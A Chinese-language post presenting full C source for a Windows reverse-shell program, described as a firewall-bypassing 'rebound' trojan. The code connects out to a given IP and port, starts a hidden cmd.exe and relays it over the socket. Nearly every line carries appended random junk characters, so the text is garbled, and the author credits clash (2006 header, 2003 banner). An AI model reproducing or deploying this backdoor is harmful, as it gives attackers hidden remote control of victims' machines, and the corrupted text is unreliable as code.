这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )t"-#$,@
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/* ============================== P3: t
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Rebound port in Windows NT Hj|&P/jY]*
By wind,2006/7 ?KOw~-u
===============================*/ jT=|!,Pn
#include l"%80"zO
#include 3,Yr%`/5'
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#pragma comment(lib,"wsock32.lib") r+8D|stS
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void OutputShell(); `vgaX,F*
SOCKET sClient; [GI~ &
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sqtz^K ROM
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void main(int argc,char **argv) D,ZLo~
{ T" W<l4i-
WSADATA stWsaData; +IWH7 qRtp
int nRet; #YYJ4^":k
SOCKADDR_IN stSaiClient,stSaiServer; *>KBDFI
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if(argc != 3) NeG`D'
{ Q`<{cFsU
printf("Useage:\n\rRebound DestIP DestPort\n"); &<]f-
return; B(++*#T!^m
} P .m@|w&.K
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WSAStartup(MAKEWORD(2,2),&stWsaData); LWT\1#
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _E`+0;O
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stSaiClient.sin_family = AF_INET; Ze eV-
stSaiClient.sin_port = htons(0); +h4W<YnW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c\1X NPGG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ERV]N:(
{ o+A1-&qhN
printf("Bind Socket Failed!\n"); W&*&O,c
return; ?gl&q+mv
} G/<zd)
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stSaiServer.sin_family = AF_INET; B5;%R01A
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d"9tP&
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M}x%'=Pox
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hr
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{ %S^hqC
printf("Connect Error!"); 05q760I+
return; bGH#s {'5
} j)mU`b_
OutputShell(); A~bSB
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} 5]N0p,f
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void OutputShell() #5@(^N5p`
{ lx%c&~.DiB
char szBuff[1024]; d#rr7O
SECURITY_ATTRIBUTES stSecurityAttributes; fd&Fn=!
OSVERSIONINFO stOsversionInfo; q()o|V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <|}Z6Ti
STARTUPINFO stStartupInfo; `Npa/Q
char *szShell; xo_STLAw
PROCESS_INFORMATION stProcessInformation; T+}|$/Tv
unsigned long lBytesRead; 'K ?h6?#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T>&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $72eHdy/yl
stSecurityAttributes.lpSecurityDescriptor = 0; vPNbV
stSecurityAttributes.bInheritHandle = TRUE; @-!P1]V|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #c^]p/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x|rc[e%k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E(r_mF7:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;{sZDjev>
stStartupInfo.wShowWindow = SW_HIDE; sm/aL^4
stStartupInfo.hStdInput = hReadPipe; ?% 24M\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @*YF!LdU{M
! Ld5Y$
GetVersionEx(&stOsversionInfo); D$}8GYq
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switch(stOsversionInfo.dwPlatformId) 2<EV
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{ ?}cmES kX@
case 1: ,<rC,4-F<
szShell = "command.com"; h+Co:pr
break; */;7Uv7
default: ?.46X^
szShell = "cmd.exe"; XjG S.&'I
break; >&PM'k
} k<< x}=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m^3x%ENZ
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send(sClient,szMsg,77,0); !/XNp QP
while(1) ,<Q
{ pWV_KS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d?*]/ZiR
if(lBytesRead) PlkZ)S7C
{ loVg{N:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Fc5.?X-
send(sClient,szBuff,lBytesRead,0); PAYw:/(P
} O+}py{ st
else Qo#]Lo> \g
{ V+E8{|dYL
lBytesRead=recv(sClient,szBuff,1024,0); 8Sr'
if(lBytesRead<=0) break; {v|!];i
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^1S{::
} ks#3
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} z{rV|vQ
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return; <1|[=$w
}